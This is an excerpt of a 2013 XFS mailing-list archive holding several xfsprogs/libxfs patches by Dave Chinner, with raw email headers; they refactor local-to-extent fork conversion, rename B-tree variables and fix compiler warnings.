*/ int offset; /* index of inode in its buffer */ - int offset_agbno; /* blks from chunk start to inode */ + xfs_agblock_t offset_agbno; /* blks from chunk start to inode */ ASSERT(ino != NULLFSINO); diff --git a/libxfs/xfs_rtalloc.c b/libxfs/xfs_rtalloc.c index 1de85fd..9797db7 100644 --- a/libxfs/xfs_rtalloc.c +++ b/libxfs/xfs_rtalloc.c @@ -431,8 +431,8 @@ xfs_rtfree_range( { xfs_rtblock_t end; /* end of the freed extent */ int error; /* error value */ - xfs_rtblock_t postblock; /* first block freed > end */ - xfs_rtblock_t preblock; /* first block freed < start */ + xfs_rtblock_t postblock = 0; /* first block freed > end */ + xfs_rtblock_t preblock = 0; /* first block freed < start */ end = start + len - 1; /* diff --git a/repair/attr_repair.c b/repair/attr_repair.c index d42b85f..ba85fd9 100644 --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -1631,9 +1631,11 @@ process_attributes( { int err; __u8 aformat = dip->di_aformat; +#ifdef DEBUG xfs_attr_shortform_t *asf; asf = (xfs_attr_shortform_t *) XFS_DFORK_APTR(dip); +#endif if (aformat == XFS_DINODE_FMT_LOCAL) { ASSERT(be16_to_cpu(asf->hdr.totsize) <= diff --git a/repair/incore_ino.c b/repair/incore_ino.c index efffe75..735737a 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -167,6 +167,7 @@ __uint32_t num_inode_references(struct ino_tree_node *irec, int ino_offset) default: ASSERT(0); } + return 0; } void set_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset, @@ -207,6 +208,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) default: ASSERT(0); } + return 0; } /* diff --git a/repair/scan.c b/repair/scan.c index 07880e4..4f8bbef 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -520,6 +520,7 @@ scan_allocbt( name = "cnt"; break; default: + name = "(unknown)"; assert(0); break; } -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 91F4F29EB9 for ; Wed, 4 Sep 2013 17:21:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3EC8D8F8033 for ; Wed, 4 Sep 2013 15:21:56 -0700 (PDT) X-ASG-Debug-ID: 1378333309-04bdf02f22d82960004-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id SLcdWCiGAmxNkCsU for ; Wed, 04 Sep 2013 15:21:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgURAKexJ1J5LJ62/2dsb2JhbABbgwc1rVoDP5UhF3SCJAEBBScvMwgYGBk5AxsZiAG6No9xhBMDmSSJAIc3gzIqgSwk Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007d7-Oa for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sF-Nw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 14/55] xfs: remove local fork format handling from xfs_bmapi_write() Date: Thu, 5 Sep 2013 08:05:18 +1000 X-ASG-Orig-Subj: [PATCH 14/55] xfs: remove local fork format handling from xfs_bmapi_write() Message-Id: <1378332359-14737-15-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333313 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The conversion from local format to extent format requires interpretation of the data in the fork being converted, so it cannot be done in a generic way. It is up to the caller to convert the fork format to extent format before calling into xfs_bmapi_write() so format conversion can be done correctly. The code in xfs_bmapi_write() to convert the format is used implicitly by the attribute and directory code, but they specifically zero the fork size so that the conversion does not do any allocation or manipulation. Move this conversion into the shortform to leaf functions for the dir/attr code so the conversions are explicitly controlled by all callers. Now we can remove the conversion code in xfs_bmapi_write. Signed-off-by: Dave Chinner --- include/xfs_bmap.h | 1 + libxfs/xfs_attr_leaf.c | 2 + libxfs/xfs_bmap.c | 197 ++++++++++++++++++++---------------------------- libxfs/xfs_dir2_block.c | 19 +++-- 4 files changed, 97 insertions(+), 122 deletions(-) diff --git a/include/xfs_bmap.h b/include/xfs_bmap.h index de451a2..ffa67b1 100644 --- a/include/xfs_bmap.h +++ b/include/xfs_bmap.h @@ -169,6 +169,7 @@ void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, #endif int xfs_bmap_add_attrfork(struct xfs_inode *ip, int size, int rsvd); +void xfs_bmap_local_to_extents_empty(struct xfs_inode *ip, int whichfork); void xfs_bmap_add_free(xfs_fsblock_t bno, xfs_filblks_t len, struct xfs_bmap_free *flist, struct xfs_mount *mp); void xfs_bmap_cancel(struct xfs_bmap_free *flist); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 49a1764..c09b0f3 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -654,6 +654,8 @@ xfs_attr_shortform_to_leaf(xfs_da_args_t *args) sf = (xfs_attr_shortform_t *)tmpbuffer; xfs_idata_realloc(dp, -size, XFS_ATTR_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_ATTR_FORK); + bp = NULL; error = xfs_da_grow_inode(args, &blkno); if (error) { diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index b7f798b..5234674 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -1042,6 +1042,24 @@ xfs_bmap_extents_to_btree( * since the file data needs to get logged so things will stay consistent. * (The bmap-level manipulations are ok, though). */ +void +xfs_bmap_local_to_extents_empty( + struct xfs_inode *ip, + int whichfork) +{ + struct xfs_ifork *ifp = XFS_IFORK_PTR(ip, whichfork); + + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + ASSERT(ifp->if_bytes == 0); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); + + xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + ifp->if_flags &= ~XFS_IFINLINE; + ifp->if_flags |= XFS_IFEXTENTS; + XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); +} + + STATIC int /* error */ xfs_bmap_local_to_extents( xfs_trans_t *tp, /* transaction pointer */ @@ -1055,9 +1073,12 @@ xfs_bmap_local_to_extents( struct xfs_inode *ip, struct xfs_ifork *ifp)) { - int error; /* error return value */ + int error = 0; int flags; /* logging flags returned */ xfs_ifork_t *ifp; /* inode fork pointer */ + xfs_alloc_arg_t args; /* allocation arguments */ + xfs_buf_t *bp; /* buffer for extent block */ + xfs_bmbt_rec_host_t *ep; /* extent record pointer */ /* * We don't want to deal with the case of keeping inode data inline yet. @@ -1066,68 +1087,65 @@ xfs_bmap_local_to_extents( ASSERT(!(S_ISREG(ip->i_d.di_mode) && whichfork == XFS_DATA_FORK)); ifp = XFS_IFORK_PTR(ip, whichfork); ASSERT(XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL); + + if (!ifp->if_bytes) { + xfs_bmap_local_to_extents_empty(ip, whichfork); + flags = XFS_ILOG_CORE; + goto done; + } + flags = 0; error = 0; - if (ifp->if_bytes) { - xfs_alloc_arg_t args; /* allocation arguments */ - xfs_buf_t *bp; /* buffer for extent block */ - xfs_bmbt_rec_host_t *ep;/* extent record pointer */ - - ASSERT((ifp->if_flags & - (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == XFS_IFINLINE); - memset(&args, 0, sizeof(args)); - args.tp = tp; - args.mp = ip->i_mount; - args.firstblock = *firstblock; - /* - * Allocate a block. We know we need only one, since the - * file currently fits in an inode. - */ - if (*firstblock == NULLFSBLOCK) { - args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); - args.type = XFS_ALLOCTYPE_START_BNO; - } else { - args.fsbno = *firstblock; - args.type = XFS_ALLOCTYPE_NEAR_BNO; - } - args.total = total; - args.minlen = args.maxlen = args.prod = 1; - error = xfs_alloc_vextent(&args); - if (error) - goto done; - - /* Can't fail, the space was reserved. */ - ASSERT(args.fsbno != NULLFSBLOCK); - ASSERT(args.len == 1); - *firstblock = args.fsbno; - bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); - - /* initialise the block and copy the data */ - init_fn(tp, bp, ip, ifp); - - /* account for the change in fork size and log everything */ - xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); - xfs_bmap_forkoff_reset(args.mp, ip, whichfork); - xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); - xfs_iext_add(ifp, 0, 1); - ep = xfs_iext_get_ext(ifp, 0); - xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); - trace_xfs_bmap_post_update(ip, 0, - whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, - _THIS_IP_); - XFS_IFORK_NEXT_SET(ip, whichfork, 1); - ip->i_d.di_nblocks = 1; - xfs_trans_mod_dquot_byino(tp, ip, - XFS_TRANS_DQ_BCOUNT, 1L); - flags |= xfs_ilog_fext(whichfork); + ASSERT((ifp->if_flags & (XFS_IFINLINE|XFS_IFEXTENTS|XFS_IFEXTIREC)) == + XFS_IFINLINE); + memset(&args, 0, sizeof(args)); + args.tp = tp; + args.mp = ip->i_mount; + args.firstblock = *firstblock; + /* + * Allocate a block. We know we need only one, since the + * file currently fits in an inode. + */ + if (*firstblock == NULLFSBLOCK) { + args.fsbno = XFS_INO_TO_FSB(args.mp, ip->i_ino); + args.type = XFS_ALLOCTYPE_START_BNO; } else { - ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) == 0); - xfs_bmap_forkoff_reset(ip->i_mount, ip, whichfork); + args.fsbno = *firstblock; + args.type = XFS_ALLOCTYPE_NEAR_BNO; } - ifp->if_flags &= ~XFS_IFINLINE; - ifp->if_flags |= XFS_IFEXTENTS; - XFS_IFORK_FMT_SET(ip, whichfork, XFS_DINODE_FMT_EXTENTS); + args.total = total; + args.minlen = args.maxlen = args.prod = 1; + error = xfs_alloc_vextent(&args); + if (error) + goto done; + + /* Can't fail, the space was reserved. */ + ASSERT(args.fsbno != NULLFSBLOCK); + ASSERT(args.len == 1); + *firstblock = args.fsbno; + bp = xfs_btree_get_bufl(args.mp, tp, args.fsbno, 0); + + /* initialise the block and copy the data */ + init_fn(tp, bp, ip, ifp); + + /* account for the change in fork size and log everything */ + xfs_trans_log_buf(tp, bp, 0, ifp->if_bytes - 1); + xfs_idata_realloc(ip, -ifp->if_bytes, whichfork); + xfs_bmap_local_to_extents_empty(ip, whichfork); flags |= XFS_ILOG_CORE; + + xfs_iext_add(ifp, 0, 1); + ep = xfs_iext_get_ext(ifp, 0); + xfs_bmbt_set_allf(ep, 0, args.fsbno, 1, XFS_EXT_NORM); + trace_xfs_bmap_post_update(ip, 0, + whichfork == XFS_ATTR_FORK ? BMAP_ATTRFORK : 0, + _THIS_IP_); + XFS_IFORK_NEXT_SET(ip, whichfork, 1); + ip->i_d.di_nblocks = 1; + xfs_trans_mod_dquot_byino(tp, ip, + XFS_TRANS_DQ_BCOUNT, 1L); + flags |= xfs_ilog_fext(whichfork); + done: *logflagsp = flags; return error; @@ -1203,23 +1221,6 @@ xfs_bmap_add_attrfork_extents( return error; } -/* - * Block initialisation functions for local to extent format conversion. - * As these get more complex, they will be moved to the relevant files, - * but for now they are too simple to worry about. - */ -STATIC void -xfs_bmap_local_to_extents_init_fn( - struct xfs_trans *tp, - struct xfs_buf *bp, - struct xfs_inode *ip, - struct xfs_ifork *ifp) -{ - bp->b_ops = &xfs_bmbt_buf_ops; - memcpy(bp->b_addr, ifp->if_u1.if_data, ifp->if_bytes); - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_BTREE_BUF); -} - STATIC void xfs_symlink_local_to_remote( struct xfs_trans *tp, @@ -1272,9 +1273,9 @@ xfs_bmap_add_attrfork_local( flags, XFS_DATA_FORK, xfs_symlink_local_to_remote); - return xfs_bmap_local_to_extents(tp, ip, firstblock, 1, flags, - XFS_DATA_FORK, - xfs_bmap_local_to_extents_init_fn); + /* should only be called for types that support local format data */ + ASSERT(0); + return EFSCORRUPTED; } /* @@ -4653,20 +4654,19 @@ xfs_bmapi_write( orig_mval = mval; orig_nmap = *nmap; #endif + whichfork = (flags & XFS_BMAPI_ATTRFORK) ? + XFS_ATTR_FORK : XFS_DATA_FORK; ASSERT(*nmap >= 1); ASSERT(*nmap <= XFS_BMAP_MAX_NMAP); ASSERT(!(flags & XFS_BMAPI_IGSTATE)); ASSERT(tp != NULL); ASSERT(len > 0); - - whichfork = (flags & XFS_BMAPI_ATTRFORK) ? - XFS_ATTR_FORK : XFS_DATA_FORK; + ASSERT(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL); if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE && - XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_LOCAL), + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { XFS_ERROR_REPORT("xfs_bmapi_write", XFS_ERRLEVEL_LOW, mp); return XFS_ERROR(EFSCORRUPTED); @@ -4679,37 +4679,6 @@ xfs_bmapi_write( XFS_STATS_INC(xs_blk_mapw); - if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { - /* - * XXX (dgc): This assumes we are only called for inodes that - * contain content neutral data in local format. Anything that - * contains caller-specific data in local format that needs - * transformation to move to a block format needs to do the - * conversion to extent format itself. - * - * Directory data forks and attribute forks handle this - * themselves, but with the addition of metadata verifiers every - * data fork in local format now contains caller specific data - * and as such conversion through this function is likely to be - * broken. - * - * The only likely user of this branch is for remote symlinks, - * but we cannot overwrite the data fork contents of the symlink - * (EEXIST occurs higher up the stack) and so it will never go - * from local format to extent format here. Hence I don't think - * this branch is ever executed intentionally and we should - * consider removing it and asserting that xfs_bmapi_write() - * cannot be called directly on local format forks. i.e. callers - * are completely responsible for local to extent format - * conversion, not xfs_bmapi_write(). - */ - error = xfs_bmap_local_to_extents(tp, ip, firstblock, total, - &bma.logflags, whichfork, - xfs_bmap_local_to_extents_init_fn); - if (error) - goto error0; - } - if (*firstblock == NULLFSBLOCK) { if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_BTREE) bma.minleft = be16_to_cpu(ifp->if_broot->bb_level) + 1; diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index dc69394..d94b9b2 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -1051,13 +1051,15 @@ xfs_dir2_sf_to_block( __be16 *tagp; /* end of data entry */ xfs_trans_t *tp; /* transaction pointer */ struct xfs_name name; + struct xfs_ifork *ifp; trace_xfs_dir2_sf_to_block(args); dp = args->dp; tp = args->trans; mp = dp->i_mount; - ASSERT(dp->i_df.if_flags & XFS_IFINLINE); + ifp = XFS_IFORK_PTR(dp, XFS_DATA_FORK); + ASSERT(ifp->if_flags & XFS_IFINLINE); /* * Bomb out if the shortform directory is way too short. */ @@ -1066,22 +1068,23 @@ xfs_dir2_sf_to_block( return XFS_ERROR(EIO); } - oldsfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; + oldsfp = (xfs_dir2_sf_hdr_t *)ifp->if_u1.if_data; - ASSERT(dp->i_df.if_bytes == dp->i_d.di_size); - ASSERT(dp->i_df.if_u1.if_data != NULL); + ASSERT(ifp->if_bytes == dp->i_d.di_size); + ASSERT(ifp->if_u1.if_data != NULL); ASSERT(dp->i_d.di_size >= xfs_dir2_sf_hdr_size(oldsfp->i8count)); + ASSERT(dp->i_d.di_nextents == 0); /* * Copy the directory into a temporary buffer. * Then pitch the incore inode data so we can make extents. */ - sfp = kmem_alloc(dp->i_df.if_bytes, KM_SLEEP); - memcpy(sfp, oldsfp, dp->i_df.if_bytes); + sfp = kmem_alloc(ifp->if_bytes, KM_SLEEP); + memcpy(sfp, oldsfp, ifp->if_bytes); - xfs_idata_realloc(dp, -dp->i_df.if_bytes, XFS_DATA_FORK); + xfs_idata_realloc(dp, -ifp->if_bytes, XFS_DATA_FORK); + xfs_bmap_local_to_extents_empty(dp, XFS_DATA_FORK); dp->i_d.di_size = 0; - xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); /* * Add block 0 to the inode. -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D3D0229EBB for ; Wed, 4 Sep 2013 17:21:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A7974304039 for ; Wed, 4 Sep 2013 15:21:56 -0700 (PDT) X-ASG-Debug-ID: 1378333308-04bdf02f23d82960003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Oju6FwJXZ69cT2Jl for ; Wed, 04 Sep 2013 15:21:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cu-Jh for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rg-J2 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/55] libxfs: sync xfs_da_btree.c Date: Thu, 5 Sep 2013 08:05:11 +1000 X-ASG-Orig-Subj: [PATCH 07/55] libxfs: sync xfs_da_btree.c Message-Id: <1378332359-14737-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333314 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some variables we renamed in the kernel code, and there are a few other minor differences. Fix them up. Signed-off-by: Dave Chinner --- libxfs/xfs_da_btree.c | 63 +++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index e83a3ad..d7798af 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -480,8 +480,10 @@ xfs_da3_split( * There might be three blocks involved if a double split occurred, * and the original block 0 could be at any position in the list. * - * Note: the info structures being modified here for both v2 and v3 da - * headers, so we can do this linkage just using the v2 structures. + * Note: the magic numbers and sibling pointers are in the same + * physical place for both v2 and v3 headers (by design). Hence it + * doesn't matter which version of the xfs_da_intnode structure we use + * here as the result will be the same using either structure. */ node = oldblk->bp->b_addr; if (node->hdr.info.forw) { @@ -820,7 +822,7 @@ xfs_da3_node_rebalance( */ nodehdr2.count += count; tmp = count * (uint)sizeof(xfs_da_node_entry_t); - btree_s = &btree1[nodehdr1.count- count]; + btree_s = &btree1[nodehdr1.count - count]; btree_d = &btree2[0]; memcpy(btree_d, btree_s, tmp); nodehdr1.count -= count; @@ -1380,10 +1382,10 @@ xfs_da3_node_unbalance( { struct xfs_da_intnode *drop_node; struct xfs_da_intnode *save_node; - struct xfs_da_node_entry *dbtree; - struct xfs_da_node_entry *sbtree; - struct xfs_da3_icnode_hdr dhdr; - struct xfs_da3_icnode_hdr shdr; + struct xfs_da_node_entry *drop_btree; + struct xfs_da_node_entry *save_btree; + struct xfs_da3_icnode_hdr drop_hdr; + struct xfs_da3_icnode_hdr save_hdr; struct xfs_trans *tp; int sindex; int tmp; @@ -1392,43 +1394,44 @@ xfs_da3_node_unbalance( drop_node = drop_blk->bp->b_addr; save_node = save_blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&dhdr, drop_node); - xfs_da3_node_hdr_from_disk(&shdr, save_node); - dbtree = xfs_da3_node_tree_p(drop_node); - sbtree = xfs_da3_node_tree_p(save_node); + xfs_da3_node_hdr_from_disk(&drop_hdr, drop_node); + xfs_da3_node_hdr_from_disk(&save_hdr, save_node); + drop_btree = xfs_da3_node_tree_p(drop_node); + save_btree = xfs_da3_node_tree_p(save_node); tp = state->args->trans; /* * If the dying block has lower hashvals, then move all the * elements in the remaining block up to make a hole. */ - if ((be32_to_cpu(dbtree[0].hashval) < be32_to_cpu(sbtree[ 0 ].hashval)) || - (be32_to_cpu(dbtree[dhdr.count - 1].hashval) < - be32_to_cpu(sbtree[shdr.count - 1].hashval))) { + if ((be32_to_cpu(drop_btree[0].hashval) < + be32_to_cpu(save_btree[0].hashval)) || + (be32_to_cpu(drop_btree[drop_hdr.count - 1].hashval) < + be32_to_cpu(save_btree[save_hdr.count - 1].hashval))) { /* XXX: check this - is memmove dst correct? */ - tmp = shdr.count * (uint)sizeof(xfs_da_node_entry_t); - memmove(&sbtree[dhdr.count], &sbtree[0], tmp); + tmp = save_hdr.count * sizeof(xfs_da_node_entry_t); + memmove(&save_btree[drop_hdr.count], &save_btree[0], tmp); sindex = 0; xfs_trans_log_buf(tp, save_blk->bp, - XFS_DA_LOGRANGE(save_node, &sbtree[0], - (shdr.count + dhdr.count) * + XFS_DA_LOGRANGE(save_node, &save_btree[0], + (save_hdr.count + drop_hdr.count) * sizeof(xfs_da_node_entry_t))); } else { - sindex = shdr.count; + sindex = save_hdr.count; xfs_trans_log_buf(tp, save_blk->bp, - XFS_DA_LOGRANGE(save_node, &sbtree[sindex], - dhdr.count * sizeof(xfs_da_node_entry_t))); + XFS_DA_LOGRANGE(save_node, &save_btree[sindex], + drop_hdr.count * sizeof(xfs_da_node_entry_t))); } /* * Move all the B-tree elements from drop_blk to save_blk. */ - tmp = dhdr.count * (uint)sizeof(xfs_da_node_entry_t); - memcpy(&sbtree[sindex], &dbtree[0], tmp); - shdr.count += dhdr.count; + tmp = drop_hdr.count * (uint)sizeof(xfs_da_node_entry_t); + memcpy(&save_btree[sindex], &drop_btree[0], tmp); + save_hdr.count += drop_hdr.count; - xfs_da3_node_hdr_to_disk(save_node, &shdr); + xfs_da3_node_hdr_to_disk(save_node, &save_hdr); xfs_trans_log_buf(tp, save_blk->bp, XFS_DA_LOGRANGE(save_node, &save_node->hdr, xfs_da3_node_hdr_size(save_node))); @@ -1436,7 +1439,7 @@ xfs_da3_node_unbalance( /* * Save the last hashval in the remaining block for upward propagation. */ - save_blk->hashval = be32_to_cpu(sbtree[shdr.count - 1].hashval); + save_blk->hashval = be32_to_cpu(save_btree[save_hdr.count - 1].hashval); } /*======================================================================== @@ -2201,8 +2204,6 @@ xfs_da3_swap_lastblock( } else { struct xfs_da3_icnode_hdr deadhdr; - ASSERT(dead_info->magic == cpu_to_be16(XFS_DA_NODE_MAGIC) || - dead_info->magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)); dead_node = (xfs_da_intnode_t *)dead_info; xfs_da3_node_hdr_from_disk(&deadhdr, dead_node); btree = xfs_da3_node_tree_p(dead_node); @@ -2441,7 +2442,8 @@ xfs_buf_map_from_irec( ASSERT(nirecs >= 1); if (nirecs > 1) { - map = kmem_zalloc(nirecs * sizeof(struct xfs_buf_map), KM_SLEEP); + map = kmem_zalloc(nirecs * sizeof(struct xfs_buf_map), + KM_SLEEP | KM_NOFS); if (!map) return ENOMEM; *mapp = map; @@ -2497,7 +2499,8 @@ xfs_dabuf_map( * Optimize the one-block case. */ if (nfsb != 1) - irecs = kmem_zalloc(sizeof(irec) * nfsb, KM_SLEEP); + irecs = kmem_zalloc(sizeof(irec) * nfsb, + KM_SLEEP | KM_NOFS); nirecs = nfsb; error = xfs_bmapi_read(dp, (xfs_fileoff_t)bno, nfsb, irecs, -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A9DC429E85 for ; Wed, 4 Sep 2013 17:21:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0E32FAC005 for ; Wed, 4 Sep 2013 15:21:52 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000f-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 3Gf92S1UFSMHLnZW for ; Wed, 04 Sep 2013 15:21:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBRoBDC8zCBgxOQMbEAmIAbo2jiEBBgmFUwOUG5VAgzIqgSwBHw Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:45 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dG-Q6 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sP-PJ for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 16/55] xfs: separate out log format definitions Date: Thu, 5 Sep 2013 08:05:20 +1000 X-ASG-Orig-Subj: [PATCH 16/55] xfs: separate out log format definitions Message-Id: <1378332359-14737-17-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333308 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com 